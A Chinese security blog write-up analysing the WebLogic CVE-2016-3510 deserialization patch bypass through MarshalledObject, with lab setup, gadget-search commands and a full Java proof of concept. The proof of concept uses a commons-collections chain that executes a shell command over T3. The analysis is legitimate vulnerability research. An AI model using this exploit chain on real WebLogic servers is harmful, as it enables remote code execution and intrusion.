初识——Weblogic CVE-2016-3510反序列化漏洞

阅读量    65572 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x01 漏洞背景

在CVE-2016-0638 漏洞修补之后,安全研究者又发现了其他类似的补丁绕过思路,通过新创建的ObjectInputStream对象进行反序列化。这次分析的主角是weblogic.corba.utils.MarshalledObject,由于MarshalledObject不在WebLogic黑名单里,可正常反序列化,在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化,从而通过二次反序列化绕过黑名单的限制。目前师傅们对该漏洞补丁分析的很少,笔者打算从0到1把这个漏洞讲清楚,下面开始Weblogic 反序列化漏洞系列的第二篇分析。

 

0x02 环境搭建及补丁安装

0x1 环境搭建

现成环境

可以采用现成的docker环境,执行以下命令生成对应版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

自动搭建

利用Docker自动化搭建,在github下载搭建代码
[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.sh
docker-compose up -d

详情可参考https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456

0x2 补丁安装

本次使用的补丁是 p22505423_1036_Generic.zip(需要补丁的同学可以联系笔者获取)

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=DEM4 -prod_dir=/weblogic/oracle/middleware/wlserver

使用以下指令查看目前版本包含的补丁信息

./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view

 

0x03 补丁分析及绕过

0x1 补丁分析

回顾CVE-2016-0638漏洞,在StreamMessageImpl.class中的readExternal函数里存在二次反序列化操作。

p22505423_1036_Generic补丁在FilteringObjectInputStream类中的resolveClass方法添加黑名单进行防护。

通过查看BLACK_LIST hashset发现了org.apache.commons.collections.functors和com.sun.org.apache.xalan.internal.xsltc.trax都在黑名单中。

0x2 尝试绕过

我们分析过后可以再寻找一个不使用FilteringObjectInputStream类和ServerChannelInputStream类进行反序列化的代码就可以绕过了。

在寻找二次反序列化漏洞入口时发现了 TextMessageImpl.class 的readExternal函数里有个反序列化操作。

一开始不了解二次反序列化的我,开心的以为自己挖了个绕过的漏洞,认认真真的把poc构造好。首先在TextMessageImpl.java中增加setmyobj函数用来当作第二次反序列化的poc填充方法,重写writeExternal方法让他达到触发二次反序列化的目的。

public void setmyObj(Object obj){
    this.obj = obj;
}
public void writeExternal(ObjectOutput var1) throws IOException {
    super.writeExternal(var1);
    var1.writeByte(2);
    var1.writeBoolean(true);
    var1.writeObject(this.obj);
}

通过上述代码将payload发送过去后才发现该代码使用ServerChannelInputStream函数进行反序列化,该类的resolveClass方法使用了黑名单机制,因此只能另寻出路。

0x3 知识点分析

下图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。

该部分代码在运行时首先会判断该类是否包含readResolve函数。如果有该函数,之后会调用该函数。

在众多实现了该方法的类中发现了如下代码,在第48行创建新的ObjectInputStream对象进行后续的反序列化工作。

该方法存在MarshalledObject.class中,因此可通过反序列化这个类实现二次反序列化的目的。

0x4 如何寻找绕过类

如何搜索满足条件的绕过方法,也是困扰我很久的一个问题。我们首先使用如下命令把所有的jar包都解压

find ./ -name "*.jar" 2>/dev/null| awk '{print "unzip -o " $1  " -d " substr($1,1,length($1)-4)  }' | bash

之后用如下命令搜索包含readObject和readResolve关键字的函数

grep -nr "readResolve" --include="*.class" ./  2>/dev/null | awk '{print "grep -nr readObject " $3}' | bash

搜索到的结果如下

这种搜索方式只能给我们缩小范围,并不能做到精准定位。后面还需要人工分析每个类中是否真的是readResolve函数中调用了readObject函数。当然这种死板的搜索方式也会有很多漏报,比如readObject被封装在了其他类的函数中,我们基本就无法搜到了,不过目前来讲这种方式已经够用了。

 

0x04 Payload构造

0x1 MarshalledObject分析

那么从搜索到的第一个文件开始分析oracle/middleware/wlserver/server/lib/wlclient/weblogic/corba/utils/MarshalledObject.class
其关键代码如下

使用新创建的ObjectInputStream方法,反序列化this.objBytes中的数据,因为之前的补丁都在FilteringObjectInputStream类和ServerChannelInputStream类中,所以当调用readObject的时候就可以成功执行反序列化利用链。

那么如何构payload,主要观察this.objBytes数据是何时填充的。注意到该类的构造方法存在比较有意思的操作

MarshalledObject接收到参数通过var3进行序列化,并将相关数据存储在objBytes中。因此我们只需要把二次反序列化对象填充在MarshalledObject构造方法参数中即可。

0x2 编写代码

完整代码链接 https://github.com/BabyTeam1024/CVE-2016-3510

package main;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jms.common.StreamMessageImpl;
import weblogic.jms.common.TextMessageImpl;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cve_2016_3510 {
    public Object getObject() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
                testMap.getClass().getClassLoader(),
                testMap.getClass().getInterfaces(),
                secondInvocationHandler
        );
        final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
        return handler;
    }
    public static void main(String[] args) throws Exception {
        Object obj = new cve_2016_3510().getObject();
        MarshalledObject textMessage = new MarshalledObject(obj);
        byte[] payload2 = Serializables.serialize(textMessage);
        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
    }
}

 

0x05 总结

通过分析CVE-2016-3510漏洞,深入理解二次反序列化更深层次的原理。同时提出了一种粗略寻找漏洞点的搜索方法。接下来继续分析Weblogic历史漏洞及其底层原理。

 

参考文章

https://www.anquanke.com/post/id/226656
https://www.cnblogs.com/afanti/p/10240232.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多